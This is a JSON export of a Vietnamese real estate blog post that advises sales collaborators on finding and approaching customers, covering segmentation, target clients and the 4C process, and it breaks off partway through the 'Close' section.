{"id":30123,"date":"2021-09-13T10:43:12","date_gmt":"2021-09-13T03:43:12","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=30123"},"modified":"2025-10-22T03:57:33","modified_gmt":"2025-10-21T20:57:33","slug":"cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/","title":{"rendered":"C\u00e1ch ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng: C\u1ea9m nang d\u00e0nh cho CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n"},"content":{"rendered":"\n<p><em>S\u1ef1 ph\u00e1t tri\u1ec3n b\u00f9ng n\u1ed5 \u0111\u00e3 bi\u1ebfn th\u1ecb tr\u01b0\u1eddng b\u1ea5t \u0111\u1ed9ng s\u1ea3n (B\u0110S) tr\u1edf th\u00e0nh l\u0129nh v\u1ef1c c\u1ea1nh tranh v\u00f4 c\u00f9ng kh\u1ed1c li\u1ec7t. \u0110i\u1ec1u n\u00e0y d\u1eabn \u0111\u1ebfn vi\u1ec7c t\u00ecm ki\u1ebfm v\u00e0 thu h\u00fat kh\u00e1ch h\u00e0ng tr\u1edf th\u00e0nh n\u1ed7i \u00e1m \u1ea3nh c\u1ee7a nhi\u1ec1u ng\u01b0\u1eddi m\u1edbi tham gia ng\u00e0nh B\u0110S. C\u00f9ng tham kh\u1ea3o qua b\u00ed quy\u1ebft ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng d\u00e0nh cho CTV B\u0110S c\u1ee7a <a href=\"http:\/\/reti.vn\">RETI<\/a> \u0111\u1ec3 gi\u00fap b\u1ea3n th\u00e2n t\u00ecm ra h\u01b0\u1edbng \u0111i hi\u1ec7u qu\u1ea3 cho c\u00f4ng vi\u1ec7c n\u00e0y nh\u00e9!<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69f8aeee60784\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69f8aeee60784\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Xac_dinh_phan_khuc_du_an_san_pham\" >X\u00e1c \u0111\u1ecbnh ph\u00e2n kh\u00fac d\u1ef1 \u00e1n, s\u1ea3n ph\u1ea9m<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Xac_dinh_khach_hang_muc_tieu\" >X\u00e1c \u0111\u1ecbnh kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Quy_trinh_Khao_sat_4C\" >Quy tr\u00ecnh Kh\u1ea3o s\u00e1t 4C<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Nam_bat_Capture\" >N\u1eafm b\u1eaft (Capture)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Ket_noi_Connect\" >K\u1ebft n\u1ed1i (Connect)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Tiep_can_Close\" >Ti\u1ebfp c\u1eadn (Close)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Cham_soc_Cultivate\" >Ch\u0103m s\u00f3c (Cultivate)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Cong_cu_tiep_can_khach_hang_bat_dong_san\" >C\u00f4ng c\u1ee5 ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Phat_to_roi_treo_bang_ron_dang_bao_giay\" >Ph\u00e1t t\u1edd r\u01a1i, treo b\u0103ng r\u00f4n, \u0111\u0103ng b\u00e1o gi\u1ea5y<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Goi_dien_truc_tiep_gioi_thieu_du_an_Telesale\" >G\u1ecdi \u0111i\u1ec7n tr\u1ef1c ti\u1ebfp gi\u1edbi thi\u1ec7u d\u1ef1 \u00e1n (Telesale)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#SMS_Marketing\" >SMS Marketing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Truc_tai_du_an_va_tu_van_truc_tiep\" >Tr\u1ef1c t\u1ea1i d\u1ef1 \u00e1n v\u00e0 t\u01b0 v\u1ea5n tr\u1ef1c ti\u1ebfp<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Tao_website_lam_SEO_chay_quang_cao\" >T\u1ea1o website, l\u00e0m SEO, ch\u1ea1y qu\u1ea3ng c\u00e1o<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Facebook_Fanpage_Facebook_Group_Quang_cao_Facebook\" >Facebook Fanpage, Facebook Group &amp; Qu\u1ea3ng c\u00e1o Facebook<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Hieu_ro_tam_ly_khach_hang_khi_lam_CTV_bat_dong_san\" >Hi\u1ec3u r\u00f5 t\u00e2m l\u00fd kh\u00e1ch h\u00e0ng khi l\u00e0m CTV b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Ra_soat_tong_hop_lai_cach_khach_hang_tim_kiem_bat_dong_san\" >R\u00e0 so\u00e1t, t\u1ed5ng h\u1ee3p l\u1ea1i c\u00e1ch kh\u00e1ch h\u00e0ng t\u00ecm ki\u1ebfm b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/reti.vn\/blog\/cach-tiep-can-khach-hang-cam-nang-danh-cho-ctv-bat-dong-san\/#Tro_thanh_CTV_BDS_cua_RETI\" >Tr\u1edf th\u00e0nh CTV B\u0110S c\u1ee7a RETI<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\" id=\"title0\"><span class=\"ez-toc-section\" id=\"Xac_dinh_phan_khuc_du_an_san_pham\"><\/span><strong>X\u00e1c \u0111\u1ecbnh ph\u00e2n kh\u00fac d\u1ef1 \u00e1n, s\u1ea3n ph\u1ea9m<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u0110\u1ea7u ti\u00ean, tr\u01b0\u1edbc khi x\u00e1c \u0111\u1ecbnh kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau, \u0111i\u1ec1u m\u00e0 CTV c\u1ea7n l\u00e0m l\u00e0 b\u1ea1n ph\u1ea3i\u00a0x\u00e1c \u0111\u1ecbnh \u0111\u01b0\u1ee3c ph\u00e2n kh\u00fac d\u1ef1 \u00e1n, s\u1ea3n ph\u1ea9m m\u00e0 m\u00ecnh c\u1ea7n ph\u1ea3i b\u00e1n. \u0110\u00f3 l\u00e0 s\u1ea3n ph\u1ea9m c\u1ee7a d\u1ef1 \u00e1n thu\u1ed9c ph\u00e2n kh\u00fac n\u00e0o? Trung c\u1ea5p, cao c\u1ea5p hay b\u00ecnh d\u00e2n. \u0110\u1ec3 x\u00e1c \u0111\u1ecbnh \u0111\u01b0\u1ee3c b\u1ea1n c\u00f3 th\u1ec3 c\u0103n c\u1ee9 v\u00e0o gi\u00e1, thi\u1ebft k\u1ebf c\u0103n h\u1ed9, di\u1ec7n t\u00edch, gi\u00e1 tr\u1ecb \u0111\u1ea7u t\u01b0 v\u00e0 \u0111\u1eb7c bi\u1ec7t l\u00e0 th\u00f4ng \u0111i\u1ec7p ch\u1ee7 \u0111\u1ea7u t\u01b0 s\u1eed d\u1ee5ng.<\/p>\n\n\n\n<p>Ti\u1ebfp \u0111\u1ebfn, h\u00e3y\u00a0nghi\u00ean c\u1ee9u th\u1eadt chi ti\u1ebft, \u0111\u1ea7y \u0111\u1ee7 v\u1ec1 d\u1ef1 \u00e1n, \u0111\u1ed1i th\u1ee7 v\u00e0 th\u1ecb tr\u01b0\u1eddng. V\u1edbi \u0111\u1ed1i th\u1ee7 tr\u1ef1c ti\u1ebfp, b\u1ea1n h\u00e3y xem c\u00e1ch h\u1ecd \u0111\u00e3 s\u1eed d\u1ee5ng th\u00e0nh c\u00f4ng trong vi\u1ec7c t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng. C\u00e1c b\u01b0\u1edbc nghi\u00ean c\u1ee9u n\u00e0y gi\u00fap b\u1ea1n bi\u1ebft m\u00ecnh \u0111ang \u1edf \u0111\u00e2u trong th\u1ecb tr\u01b0\u1eddng r\u1ed9ng l\u1edbn ngo\u00e0i kia, h\u01a1n n\u1eefa b\u1ea1n c\u00f2n tr\u1edf n\u00ean hi\u1ec3u bi\u1ebft v\u1ec1 l\u0129nh v\u1ef1c B\u0110S.<\/p>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/wt55hAQ.png\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\">\n<figcaption>C\u1ea7n nghi\u00ean c\u1ee9u th\u1eadt chi ti\u1ebft v\u1ec1 d\u1ef1 \u00e1n, \u0111\u1ed1i th\u1ee7 v\u00e0 th\u1ecb tr\u01b0\u1eddng<\/figcaption>\n<\/figure>\n<\/div>\n\n\n\n<p>Hi\u1ec7n nay vi\u1ec7c ti\u1ebfp c\u1eadn th\u00f4ng tin v\u00f4 c\u00f9ng d\u1ec5 d\u00e0ng. Kh\u00e1ch h\u00e0ng mua b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u00f3 th\u1ec3 t\u00ecm ki\u1ebfm th\u00f4ng tin qua nhi\u1ec1u ngu\u1ed3n ph\u01b0\u01a1ng ti\u1ec7n kh\u00e1c nhau nh\u01b0 Internet, Facebook, Google, b\u00e1o ch\u00ed\u2026 Ch\u00ednh v\u00ec v\u1eady, kh\u00e1ch h\u00e0ng ch\u1eafc ch\u1eafn s\u1ebd t\u00ecm hi\u1ec3u nh\u1eefng d\u1ef1 \u00e1n l\u00e2n c\u1eadn, c\u00f9ng ph\u00e2n kh\u00fac th\u1ecb tr\u01b0\u1eddng tr\u01b0\u1edbc khi t\u00ecm \u0111\u1ebfn b\u1ea1n. Tr\u01b0\u1eddng h\u1ee3p th\u1ef1c t\u1ebf x\u1ea3y ra, n\u1ebfu kh\u00e1ch h\u00e0ng b\u1ea3o \u201c<em>Ch\u1ecb th\u1ea5y g\u1ea7n \u0111\u00e2y c\u00f3 m\u1ed9t d\u1ef1 \u00e1n kia c\u0169ng r\u1ea5t t\u1ed1t, c\u0103n h\u1ed9 c\u1ee7a em c\u00f3 g\u00ec n\u1ed5i b\u1eadt kh\u00f4ng?<\/em>\u201d m\u00e0 b\u1ea1n l\u00fang t\u00fang s\u1ebd l\u00e0 m\u1ed9t \u0111i\u1ec3m tr\u1eeb c\u1ef1c k\u1ef3 l\u1edbn, khi\u1ebfn kh\u00e1ch h\u00e0ng m\u1ea5t ni\u1ec1m tin \u1edf b\u1ea1n.<\/p>\n\n\n\n<p>Kinh doanh b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 cu\u1ed9c \u0111ua v\u1ec1 ni\u1ec1m tin v\u00e0 tr\u1ea3i nghi\u1ec7m kh\u00e1ch h\u00e0ng. D\u00f9 kh\u00e1ch h\u00e0ng t\u00ecm ki\u1ebfm b\u1ea5t \u0111\u1ed9ng s\u1ea3n \u0111\u1ec3 \u0111\u1ea7u t\u01b0 hay \u0111\u1ec3 an c\u01b0 th\u00ec cu\u1ed1i c\u00f9ng c\u0169ng d\u00e0nh cho con ng\u01b0\u1eddi \u1edf ho\u1eb7c ngh\u1ec9 d\u01b0\u1ee1ng, h\u1ecd s\u1ebd c\u1ea7n m\u1ed9t n\u01a1i mang \u0111\u1ebfn c\u1ea3m gi\u00e1c tho\u1ea3i m\u00e1i nh\u1ea5t. Do \u0111\u00f3, chi\u1ebfm \u0111\u01b0\u1ee3c c\u1ea3m t\u00ecnh kh\u00e1ch h\u00e0ng nh\u1eefng ph\u00fat \u0111\u1ea7u ti\u00ean b\u1ea1n s\u1ebd \u0111\u01b0\u1ee3c \u01b0u \u00e1i h\u01a1n h\u1eb3n trong ti\u1ec1m th\u1ee9c c\u1ee7a h\u1ecd \u0111\u00f3. Ch\u1eb3ng kh\u00e1ch n\u00e0o l\u1ea1i kh\u00f4ng th\u00edch m\u1ed9t nh\u00e0 m\u00f4i gi\u1edbi th\u00f4ng minh, hi\u1ec3u bi\u1ebft t\u01b0\u1eddng t\u1eadn m\u1ecdi v\u1ea5n \u0111\u1ec1 nh\u01b0 v\u1eady \u0111\u00e2u.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Xac_dinh_khach_hang_muc_tieu\"><\/span><strong>X\u00e1c \u0111\u1ecbnh <a href=\"https:\/\/agent.reti.vn\/nhung-dieu-nen-va-khong-nen-lam-khi-tim-kiem-khach-hang-tiem-nang\/\">kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau<\/a><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Sau khi bi\u1ebft kh\u00e1ch h\u00e0ng thu\u1ed9c ph\u00e2n kh\u00fac n\u00e0o, b\u1ea1n c\u00f3 th\u1ec3 d\u1ef1a v\u00e0o \u0111\u00f3 \u0111\u1ec3\u00a0x\u00e1c \u0111\u1ecbnh c\u1ee5 th\u1ec3 \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng\u00a0b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ea7n t\u00ecm ki\u1ebfm. H\u1ecd l\u00e0 t\u1ea7ng l\u1edbp th\u01b0\u1ee3ng l\u01b0u, trung l\u01b0u hay c\u01b0 d\u00e2n b\u00ecnh th\u01b0\u1eddng? H\u1ecd l\u00e0 gi\u00e1m \u0111\u1ed1c, nh\u00e2n vi\u00ean c\u00f4ng s\u1edf hay c\u00f4ng nh\u00e2n? \u0110\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng nh\u1ea5t ch\u00ednh l\u00e0 nh\u1eefng ng\u01b0\u1eddi s\u1ed1ng v\u00e0 l\u00e0m vi\u1ec7c khu v\u1ef1c l\u00e2n c\u1eadn d\u1ef1 \u00e1n, b\u1edfi v\u00ec m\u1ecdi ng\u01b0\u1eddi lu\u00f4n c\u00f3 xu h\u01b0\u1edbng \u01b0u ti\u00ean nh\u00e0 g\u1ea7n c\u00f4ng ty, tr\u01b0\u1eddng h\u1ecdc \u0111\u1ec3 ti\u1ebft ki\u1ec7m th\u1eddi gian.<\/p>\n\n\n\n<p>\u0110\u1ec3 t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng mua b\u1ea5t \u0111\u1ed9ng s\u1ea3n k\u1ef9 h\u01a1n n\u1eefa. B\u1ea1n h\u00e3y h\u00ecnh dung m\u1ed9t ng\u00e0y b\u00ecnh th\u01b0\u1eddng c\u1ee7a h\u1ecd nh\u01b0 th\u1ebf n\u00e0o, b\u1ea1n c\u00f3 th\u1ec3 ti\u1ebfp c\u1eadn h\u1ecd \u1edf \u0111\u00e2u, v\u00e0o th\u1eddi \u0111i\u1ec3m n\u00e0o. B\u01b0\u1edbc n\u00e0y chu\u1ea9n b\u1ecb c\u00e0ng k\u1ef9 th\u00ec b\u01b0\u1edbc ti\u1ebfp theo c\u1ee7a b\u1ea1n s\u1ebd c\u00e0ng th\u00e0nh c\u00f4ng.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"title2\"><span class=\"ez-toc-section\" id=\"Quy_trinh_Khao_sat_4C\"><\/span><strong>Quy tr\u00ecnh Kh\u1ea3o s\u00e1t 4C<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Kh\u1ea3o s\u00e1t l\u00e0 m\u1ed9t cu\u1ed9c h\u1ed9i tho\u1ea1i. N\u00f3 l\u00e0 vi\u1ec7c t\u1ea1o ra nhi\u1ec1u li\u00ean k\u1ebft c\u00e1 nh\u00e2n m\u00e0 c\u00f3 th\u1ec3 d\u1eabn \u0111\u1ebfn c\u00e1c m\u1ed1i quan h\u1ec7 c\u00f3 m\u1ee5c \u0111\u00edch \u0111\u1ec3 b\u1ea1n t\u1ea1o d\u1ef1ng c\u00f4ng vi\u1ec7c tr\u00ean \u0111\u00f3. B\u1ea1n th\u1ef1c hi\u1ec7n vi\u1ec7c kh\u1ea3o s\u00e1t th\u00f4ng qua b\u1ed1n b\u01b0\u1edbc \u0111\u01a1n gi\u1ea3n.<\/p>\n\n\n\n<p>Vi\u1ec7c c\u1ea7n l\u00e0m \u0111\u1ea7u ti\u00ean l\u00e0\u00a0n\u1eafm b\u1eaft (Capture)\u00a0c\u00e1c kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng b\u1eb1ng vi\u1ec7c thu th\u1eadp th\u00f4ng tin li\u00ean h\u1ec7 c\u1ee7a h\u1ecd. Sau \u0111\u00f3\u00a0k\u1ebft n\u1ed1i (Connect)\u00a0v\u1edbi h\u1ecd b\u1eb1ng vi\u1ec7c thi\u1ebft l\u1eadp m\u1ed9t m\u1ed1i quan h\u1ec7. Cu\u1ed1i c\u00f9ng,\u00a0ti\u1ebfp c\u1eadn (Close)\u00a0h\u1ecd \u0111\u1ec3 h\u1eb9n g\u1eb7p v\u00e0 sau c\u00f9ng l\u00e0 mua ho\u1eb7c b\u00e1n b\u1ea5t \u0111\u1ed9ng s\u1ea3n.\u00a0Ch\u0103m s\u00f3c\u00a0(Cultivate)\u00a0h\u1ecd \u0111\u1ec3 duy tr\u00ec v\u00e0 c\u1ee7ng c\u1ed1 m\u1ed1i quan h\u1ec7 c\u1ee7a b\u1ea1n.<\/p>\n\n\n\n<p>Cu\u1ed9c n\u00f3i chuy\u1ec7n t\u1ea1o d\u1ef1ng c\u00f4ng vi\u1ec7c nh\u1eb1m \u0111\u1ea1t nh\u1eefng m\u1ee5c ti\u00eau sau:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>C\u00f3 \u0111\u01b0\u1ee3c m\u1ed9t cu\u1ed9c h\u1eb9n.<\/li>\n<li>C\u00f3 \u0111\u01b0\u1ee3c l\u1eddi gi\u1edbi thi\u1ec7u.<\/li>\n<\/ul>\n\n\n\n<p>V\u00e0 c\u00e1c cu\u1ed9c n\u00f3i chuy\u1ec7n lu\u00f4n \u0111\u1ea1t nh\u1eb1m m\u1ee5c \u0111\u00edch l\u00e0 c\u1ee7ng c\u1ed1 m\u1ed1i quan h\u1ec7 gi\u1eefa b\u1ea1n v\u00e0 kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Nam_bat_Capture\"><\/span>N\u1eafm b\u1eaft (Capture)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>M\u1ee5c ti\u00eau c\u1ee7a x\u00e2y d\u1ef1ng c\u01a1 s\u1edf d\u1eef li\u1ec7u l\u00e0 n\u1eafm b\u1eaft c\u00e0ng nhi\u1ec1u ng\u01b0\u1eddi ch\u01b0a g\u1eb7p c\u00e0ng t\u1ed1t v\u00e0 nhanh ch\u00f3ng bi\u1ebfn h\u1ecd th\u00e0nh nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 g\u1eb7p, sau \u0111\u00f3 bi\u1ebfn nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 g\u1eb7p th\u00e0nh c\u00f4ng vi\u1ec7c l\u1eb7p l\u1ea1i v\u00e0 m\u1ed1i l\u00e0m \u0103n. M\u1ed9t trong nh\u1eefng c\u00e1ch t\u1ed1t nh\u1ea5t \u0111\u1ec3 th\u1ef1c hi\u1ec7n \u0111\u00f3 l\u00e0 t\u1eadn d\u1ee5ng nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 g\u1eb7p c\u1ee7a b\u1ea1n th\u00f4ng qua kh\u1ea3o s\u00e1t.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ket_noi_Connect\"><\/span>K\u1ebft n\u1ed1i (Connect)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Nh\u1eefng nh\u00e2n vi\u00ean m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n th\u00e0nh c\u00f4ng \u0111\u1ec1u hi\u1ec3u m\u1ee9c \u0111\u1ed9 quan tr\u1ecdng c\u1ee7a vi\u1ec7c k\u1ebft n\u1ed1i v\u1edbi m\u1ecdi ng\u01b0\u1eddi. H\u1ecd lu\u00f4n c\u1ea3i thi\u1ec7n k\u1ef9 n\u0103ng n\u00e0y b\u1eb1ng c\u00e1ch th\u1ef1c hi\u1ec7n n\u00f3 th\u01b0\u1eddng xuy\u00ean v\u00e0 li\u00ean t\u1ee5c. M\u1ee5c ti\u00eau c\u1ee7a b\u1ea1n trong b\u01b0\u1edbc k\u1ebft n\u1ed1i n\u00e0y l\u00e0 ti\u1ebfp c\u1eadn c\u00e1 nh\u00e2n theo c\u00e1ch c\u00f3 th\u1ec3 x\u00e2y d\u1ef1ng m\u1ed1i quan h\u1ec7 v\u00e0 s\u1ef1 tin t\u01b0\u1edfng. M\u1ed9t trong nh\u1eefng c\u00e1ch t\u1ed1t nh\u1ea5t \u0111\u00f3 l\u00e0 \u0111\u01b0a ra c\u00e1c c\u00e2u h\u1ecfi.<\/p>\n\n\n\n<p>T\u00ecm ki\u1ebfm c\u00e1c c\u01a1 h\u1ed9i \u0111\u1ec3 \u0111em \u0111\u1ebfn d\u1ecbch v\u1ee5 cho h\u1ecd. Khi b\u1ea1n s\u1eed d\u1ee5ng c\u00e1c k\u1ecbch b\u1ea3n v\u00e0 t\u00ecm ki\u1ebfm nhu c\u1ea7u b\u1ea5t \u0111\u1ed9ng s\u1ea3n, h\u00e3y \u0111\u00e0o s\u00e2u h\u01a1n n\u1eefa \u0111\u1ec3 c\u00f3 th\u00eam th\u00f4ng tin gi\u00fap b\u1ea1n ti\u1ebfp c\u1eadn. S\u1eed d\u1ee5ng c\u00e1c c\u00e2u h\u1ecfi c\u00f3 ch\u1ee9a nh\u1eefng t\u1eeb ai, c\u00e1i g\u00ec, \u1edf \u0111\u00e2u, t\u1ea1i sao, khi n\u00e0o, b\u1eb1ng c\u00e1ch n\u00e0o s\u1ebd gi\u00fap b\u1ea1n c\u00f3 c\u00e1i b\u1ee9c tranh t\u1ed5ng th\u1ec3 \u0111\u1ed1i v\u1edbi m\u1ecdi th\u1ee9.<\/p>\n\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/3RoYSk9.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\">\n<figcaption>M\u1ed9t trong nh\u1eefng c\u00e1ch k\u1ebft n\u1ed1i t\u1ed1t nh\u1ea5t l\u00e0 \u0111\u1eb7t c\u00e2u h\u1ecfi<\/figcaption>\n<\/figure>\n<\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tiep_can_Close\"><\/span><strong>Ti\u1ebfp c\u1eadn (Close)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>Ti\u1ebfp c\u1eadn l\u00e0 qu\u00e1 tr\u00ecnh y\u00eau c\u1ea7u s\u1ef1 \u0111\u1ea7u t\u01b0 v\u00e0 chu\u1ea9n b\u1ecb k\u1ef9 l\u01b0\u1ee1ng. K\u1ebft n\u1ed1i d\u00f9 c\u00f3 quan tr\u1ecdng nh\u01b0ng n\u1ebfu kh\u00f4ng c\u00f3 \u0111\u01b0\u1ee3c c\u00f4ng vi\u1ec7c, b\u1ea1n s\u1ebd kh\u00f4ng l\u00e0m ra ti\u1ec1n. R\u1ea5t nhi\u1ec1u nh\u00e2n vi\u00ean m\u00f4i gi\u1edbi th\u00e0nh c\u00f4ng trong vi\u1ec7c k\u1ebft n\u1ed1i v\u1edbi m\u1ecdi ng\u01b0\u1eddi. Tuy nhi\u00ean vi\u1ec7c ti\u1ebfp c\u1eadn v\u00e0 l\u00e0m vi\u1ec7c v\u1edbi kh\u00e1ch h\u00e0ng l\u1ea1i l\u00e0 m\u1ed9t th\u1eed th\u00e1ch.<\/p>\n\n\n\n<p>M\u1ee5c ti\u00eau cu\u1ed9c g\u1ecdi c\u1ee7a b\u1ea1n l\u00e0 th\u1ef1c hi\u1ec7n \u0111\u01b0\u1ee3c m\u1ed9t trong nh\u1eefng vi\u1ec7c sau:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>M\u1ed9t cu\u1ed9c h\u1eb9n v\u1edbi 